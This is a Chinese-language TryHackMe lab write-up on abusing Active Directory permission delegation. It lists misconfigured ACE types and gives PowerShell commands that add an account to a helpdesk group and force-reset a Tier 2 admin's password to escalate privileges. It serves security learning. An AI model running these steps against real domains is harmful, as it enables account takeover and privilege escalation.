:::info AD 可以通过 “权限委派” 功能来委派权限和特权。授权是使AD在组织中如此强大的原因。想象一下,我们为一个拥有50000名员工的组织工作。由于我们关心安全问题,我们只有三个用户可以访问DA凭证。这三个用户不可能处理所有来自用户的请求,例如重新设置他们的密码。使用委派,我们可以将强制更改用户密码的权限委派给服务台团队,这意味着他们现在有了这个特定功能的委派权限。原则上,为了保证授权的安全性,应该遵循最小权限的原则。然而,在大型组织中,这说起来容易,做起来难。所以会出现各种的问题
:::
介绍
权限委托的利用通常被称为基于ACL的攻击。AD允许管理员配置访问控制条目(ACE),以填充酌情访问控制列表(DACL),因此被称为基于ACL的攻击。几乎所有的AD对象都可以用ACE来保护,然后描述任何其他AD对象对目标对象的允许和拒绝的权限。
然而,如果这些ACE被错误配置,攻击者就有可能利用它们。让我们再看一下我们的例子。如果IT支持团队被授予ForceChangePassword ACE,而不是Domain Users组,这将被认为是不安全的。当然,他们可以重设忘记密码的员工的密码,但是这种错误的配置也会让他们重设特权账户的密码,比如作为域管理员组成员的账户,基本上可以实现权限升级。
利用 ACE
:::info 为了便于我们与 AD 交互并进行利用,我们应该利用这两个文档:
:::
不同的 ACE 造成的攻击也各不相同,但是我们可以借助 BloodHound文档 来帮助我们解释一些特殊的 ACE 以及如何利用
- ForceChangePassword: 我们有能力在不知道用户当前密码的情况下设置他们的当前密码。
- AddMembers: 我们有能力将用户(包括我们自己的账户)、组或计算机添加到目标组。
- GenericAll:我们可以完全控制该对象,包括改变用户的密码,注册SPN或添加AD对象到目标组的能力。
- GenericWrite : 我们可以更新我们的目标对象的任何非保护性参数。这可以让我们,例如,更新scriptPath参数,这将导致在用户下次登录时执行一个脚本。
- WriteOwner:我们有能力更新目标对象的所有者。我们可以让自己成为所有者,允许我们获得该对象的额外权限。
- WriteDACL:我们有能力向目标对象的DACL写入新的ACE。例如,我们可以写一个ACE,授予我们的账户对目标对象的完全控制权。
- AllExtendedRights : 我们有能力对目标对象执行任何与AD扩展权限相关的操作。这包括,例如,强制改变用户密码的能力。
举例
我们利用 BloodHound 帮助我们找出如何攻击第二层管理员组
在这个例子中我们可以看到, 一位管理员通过为域用户组提供AddMembers ACE,错误地配置了 IT SUPPORT
的Permission Delegation,并且 IT SUPPORT
组具有 ForceChangePassword ACE,用于 TIER 2 Admins
组成员
添加成员
我们首先将我们的 AD 账户提那就到 IT SUPPORT
PS C:\>Add-ADGroupMember "IT Support" -Members "hugh.jones"
验证
PS C:\>Get-ADGroupMember -Identity "IT Support"
distinguishedName : CN=hugh.jones,OU=Consulting,OU=People,DC=za,DC=tryhackme,DC=loc
name : hugh.jones
objectClass : user
objectGUID : 460178d3-c818-4e28-9a39-b1ab2b0d3779
SamAccountName : hugh.jones
SID : S-1-5-21-3885271727-2693558621-2658995185-1113
:::color3 注意:
我们更改了权限组之后,应该等待一段时间,等我们的改变被传输到 DC 并被应用于域时
:::
修改密码
现在我们已经是 IT SUPPORT
组成员,那么我们需要确定 Tier 2 Admins
组成员
PS C:\>Get-ADGroupMember -Identity "Tier 2 Admins"
distinguishedName : CN=t2_lawrence.lewis,OU=T2 Admins,OU=Admins,DC=za,DC=tryhackme,DC=loc
name : t2_lawrence.lewis
objectClass : user
objectGUID : 4ca61b47-93c8-44d2-987d-eca30c69d828
SamAccountName : t2_lawrence.lewis
SID : S-1-5-21-3885271727-2693558621-2658995185-1893
[....]
distinguishedName : CN=t2_leon.francis,OU=T2 Admins,OU=Admins,DC=za,DC=tryhackme,DC=loc
name : t2_leon.francis
objectClass : user
objectGUID : 854b6d40-d537-4986-b586-c40950e0d5f9
SamAccountName : t2_leon.francis
SID : S-1-5-21-3885271727-2693558621-2658995185-3660
随便选择一个账户,进行修改密码
PS C:\>$Password = ConvertTo-SecureString "New.Password.For.User" -AsPlainText -Force
PS C:\>Set-ADAccountPassword -Identity "AD.Account.Username.Of.Target" -Reset -NewPassword $Password